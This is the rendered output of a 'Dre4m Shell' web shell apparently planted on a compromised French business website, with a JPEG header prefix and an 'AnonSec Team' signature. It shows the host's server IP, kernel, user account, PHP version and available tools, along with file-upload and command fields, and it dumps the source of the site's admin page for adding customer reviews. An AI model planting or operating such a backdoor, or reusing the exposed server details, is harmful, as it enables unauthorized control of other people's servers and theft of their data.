ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/lavignotte.com/cp-admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/lavignotte.com/cp-admin/add_avis_g.php
<?php
require_once('includes/header.php');
require_once('includes/menu.php');

if (isset($_POST['add'])) {

    $date_avis = $_POST['date_debut'] ?? '';

    $sql = "INSERT INTO " . $GLOBALS['db_table']['avis_g'] . " 
            (initial, nom, note, texte, source, date_avis)
            VALUES 
            (:initial, :nom, :note, :texte, :source, :date_avis)";
    $qid = $bdd->prepare($sql);
    $qid->execute([
        'initial'   => $_POST['initial'] ?? '',
        'nom'       => $_POST['nom'] ?? '',
        'note'      => $_POST['note'],
        'texte'     => $_POST['content'] ?? '',
        'source'    => $_POST['source'] ?? '',
        'date_avis' => $date_avis,
    ]);

 
  echo '<script>';
  echo 'window.location = "./avis_g.php"';
  echo '</script>';
}

// valeurs par défaut (nouvel avis)
$blog = [
    'nom'       => '',
    'initial'   => '',
    'note'      => 5,               // on met 5 par défaut
    'source'    => 'Google',
    'date_avis' => date('Y-m-d'),
    'texte'     => '',
];
?>
<style>
.rating {
  direction: rtl;
  unicode-bidi: bidi-override;
  display: inline-flex;
  gap: 4px;
}
.rating input { display: none; }
.rating label {
  font-size: 28px;
  color: #ccc;
  cursor: pointer;
}
.rating input:checked ~ label { color: #f7c600; }
.rating label:hover,
.rating label:hover ~ label { color: #ffe07a; }
</style>

<div class="container">
  <form class="form-horizontal" method="post" action="add_avis_g.php" enctype="multipart/form-data">
     
    <div class="row">
      <div class="span12">
        <div class="page-header">
          <h1>Ajouter un avis
            <div class="pull-right">
              <button type="submit" name="add" class="btn btn-success"><i class="icon-ok"></i> Enregistrer</button>
              <a href="avis_g.php" class="btn btn-primary"><i class="icon-arrow-left"></i> Retour</a>
            </div>
          </h1>
        </div>
      </div>
    </div>

    <?php
    echo '<div id="form-content" style="">';
      echo '<div class="row-fluid">';
        echo '<div class="span12">';

          // Titre (nom)
          echo '<div class="control-group">';
            echo '<label class="control-label" for="title">Titre :&nbsp;</label>';
            echo '<div class="controls">';
              echo '<input required style="width:470px" name="nom" type="text" value="' . htmlspecialchars($blog['nom'], ENT_QUOTES, 'UTF-8') . '">';
            echo '</div>';
          echo '</div>';

          // Initiale(s)
          echo '<div class="control-group">';
            echo '<label class="control-label" for="meta_desc">Initiale(s) :&nbsp;</label>';
            echo '<div class="controls">';
              echo '<input style="width:470px" name="initial" type="text" value="' . htmlspecialchars($blog['initial'], ENT_QUOTES, 'UTF-8') . '">';
            echo '</div>';
          echo '</div>';

          // Note
          echo '<br><div class="control-group">';
            echo '<label class="control-label" for="meta_keywords">Note :&nbsp;</label>';
            echo '<div class="controls">';
              $note = (int)$blog['note'];
              ?>
              <div class="rating">
                <input type="radio" id="star5" name="note" value="5" <?php if ($note==5) echo 'checked="checked"'; ?> />
                <label for="star5">&#9733;</label>

                <input type="radio" id="star4" name="note" value="4" <?php if ($note==4) echo 'checked="checked"'; ?> />
                <label for="star4">&#9733;</label>

                <input type="radio" id="star3" name="note" value="3" <?php if ($note==3) echo 'checked="checked"'; ?> />
                <label for="star3">&#9733;</label>

                <input type="radio" id="star2" name="note" value="2" <?php if ($note==2) echo 'checked="checked"'; ?> />
                <label for="star2">&#9733;</label>

                <input type="radio" id="star1" name="note" value="1" <?php if ($note==1) echo 'checked="checked"'; ?> />
                <label for="star1">&#9733;</label>
              </div>
              <?php
            echo '</div>';
          echo '</div>';

          // Source
          echo '<div class="control-group">';
            echo '<label class="control-label" for="source">Source :&nbsp;</label>';
            echo '<div class="controls">';
              echo '<input style="width:470px" name="source" type="text" value="' . htmlspecialchars($blog['source'], ENT_QUOTES, 'UTF-8') . '">';
            echo '</div>';
          echo '</div>';

          // date
          echo '<div class="control-group">';
            echo '<label class="control-label" for="title_debut">Date d&eacute;but US :</label>';
            echo '<div class="controls">';
              echo '<input style="width:287px" name="date_debut" value="' . htmlspecialchars($blog['date_avis'], ENT_QUOTES, 'UTF-8') . '" id="datepicker_debut" type="text" />';
            echo '</div>';
          echo '</div>';

          // contenu
          echo '<div>';
          echo '<br /><br /><br />';



         echo '<label class="" for="title">Contenu :';?>
		  <i>Copi&eacute;/coll&eacute;</i>---> 
  &#128512;

- &#128515;

- &#128516;

- &#128513;

- &#128518;

- &#128517;

- &#128514;

- &#129315;

- &#128522;

- &#128519;

- &#128578;

- &#128579;

- &#128521;

- &#128525;

- &#128536;

- &#128535;

- &#128537;

- &#128538;

- &#129392;
- &#128077;
- &#9996;
- &#128293;
- &#128591;
</label>



<?php

          echo '<br />';
          echo '<textarea rows="7" name="content" id="content" style=""></textarea>';
          echo '<script>
                var ckedit = CKEDITOR.replace( "content" ,{
                  filebrowserBrowseUrl : "includes/filemanager/dialog.php?type=2&editor=ckeditor&fldr=",
                  filebrowserUploadUrl : "includes/filemanager/dialog.php?type=2&editor=ckeditor&fldr=",
                  filebrowserImageBrowseUrl : "includes/filemanager/dialog.php?type=1&editor=ckeditor&fldr="
                });
                </script>';
          echo '</div>';

        echo '</div>';
      echo '</div>';
    echo '</div>';
    ?>
  </form>
</div>

<script type="text/javascript" src="assets/js/chosen.jquery.js" ></script>
<script type="text/javascript">
    var config = {
        '.chosen-select'           : {},
        '.chosen-select-deselect'  : {allow_single_deselect:true},
        '.chosen-select-no-single' : {disable_search_threshold:10},
        '.chosen-select-no-results': {no_results_text:'Oops, nothing found!'},
        '.chosen-select-width'     : {width:"95%"}
    }
    for (var selector in config) {
        $(selector).chosen(config[selector]);
    }
</script>

<?php
include_once('includes/footer.php');
?>

Anon7 - 2022
AnonSec Team